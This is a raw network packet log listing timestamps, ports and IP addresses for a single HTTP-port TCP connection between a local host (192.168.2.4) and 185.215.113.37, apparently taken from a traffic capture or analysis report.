Oct 21, 2024 09:06:19.126534939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.126549006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.126559019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.126573086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.126584053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.126596928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.126612902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.126622915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.126636982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.126647949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.126658916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.126672983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.126684904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.126712084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.127454996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.127470016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.127481937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.127501011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.127506971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.127516031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.127530098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.127545118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.127556086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.127568007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.127578974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.127590895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.127603054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.127615929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.127629995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.127640009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.127652884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.127665043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.127680063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.127688885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.127716064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.128448009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.128463984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.128478050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.128493071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.128509045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.128516912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.128532887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.128544092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.128556013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.128566980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.128580093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.128592014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.128608942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.128623962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.128633976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.128659010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.128680944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.129426003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.129441977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.129455090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.129471064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.129486084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.129498959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.129506111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.129518986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.129529953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.129544020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.129554987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.129566908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.129580021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.129592896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.129602909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.129616022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.129627943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.129642963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.129652977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.129666090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.129678011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.129703999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.130404949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.130419016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.130430937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.130439043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.130445957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.130460024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.130471945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.130486965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.130496025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.130512953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.130522013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.130537987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.130547047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.130558014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.130570889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.130584955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.130609035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.131371021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.131396055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.131411076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.131421089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.131433010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.131443977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.131453991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.131467104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.131481886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.131496906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.131509066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.131526947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.131534100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.131546021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.131556988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.131568909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.131580114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.131589890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.132306099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.132477999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.132493019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.132505894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.132518053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.132530928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.132540941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.132556915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.132565975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.132575989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.132589102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.132603884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.132612944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.132622957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.132635117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.132647991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.132657051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.132673025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.132683039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.132698059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.132709026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.132718086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.132744074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.133089066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.133132935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.244576931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.244730949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.244777918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.244832993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.244854927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.244891882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.244913101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.244941950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.244967937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.245001078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.245022058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.245049000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.245075941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.245112896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.245132923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.245161057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.245189905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.245223999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.245244980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.245273113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.245373964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.245405912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.245454073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.245454073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.245501041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.245554924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.245701075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.245733976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.245759010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.245779991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.245809078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.245845079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.245866060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.245899916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.245915890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.245946884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.245968103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.245991945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.246020079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.246068954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.246258020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.246289015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.246311903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.246332884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.246362925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.246393919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.246414900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.246440887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.246465921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.246498108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.246517897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.246543884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.246790886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.246834040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.246854067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.246881008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.246906042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.246937990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.246958971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.246984959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.247010946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.247044086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.247075081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.247095108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.247123957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.247169018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.247186899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.247220039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.247241974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.247273922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.247294903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.247347116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.247688055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.247720957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.247740984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.247769117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.247792006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.247824907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.247844934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.247870922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.247895956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.247929096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.247948885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.247975111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.247999907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.248033047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.248055935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.248080969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.248112917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.248145103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.248164892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.248194933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.248518944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.248550892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.248615026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.248629093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.248663902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.248680115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.248712063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.248733044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.248764038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.248783112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.248815060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.248836994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.248866081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.248888969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.248922110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.248941898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.248970032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.248994112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.249031067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.249056101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.249104023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.249525070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.249557018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.249583006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.249603987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.249629974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.249661922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.249682903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.249713898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.249732971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.249766111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.249784946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.249809027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.249835968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.249867916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.249888897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.249918938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.249938011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.249972105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.249984026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.250010014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.250030994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.250057936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.250082016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.250144005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.250524998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.250556946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.250579119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.250605106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.250631094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.250653982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.250668049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.250678062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.250694990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.250703096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.250714064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.250726938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.250735044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.250746965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.250761032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.250776052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.250790119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.250802040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.250813007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.250828981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.250848055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.251436949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.251451969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.251465082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.251478910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.251492977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.251504898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.251526117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.251534939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.251542091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.251554012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.251565933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.251579046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.251593113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.251610041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.251620054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.251636982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.251643896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.251657963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.251667023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.251677036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.251705885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.252230883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.252245903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.252259016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.252274036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.252291918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.252299070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.252312899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.252325058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.252335072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.252347946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.252362967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.252377033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.252388000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.252404928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.252412081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.252419949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.252433062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.252444029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:19.252456903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:19.252470016 CEST	49730	80	192.168.2.4	185.215.113.37
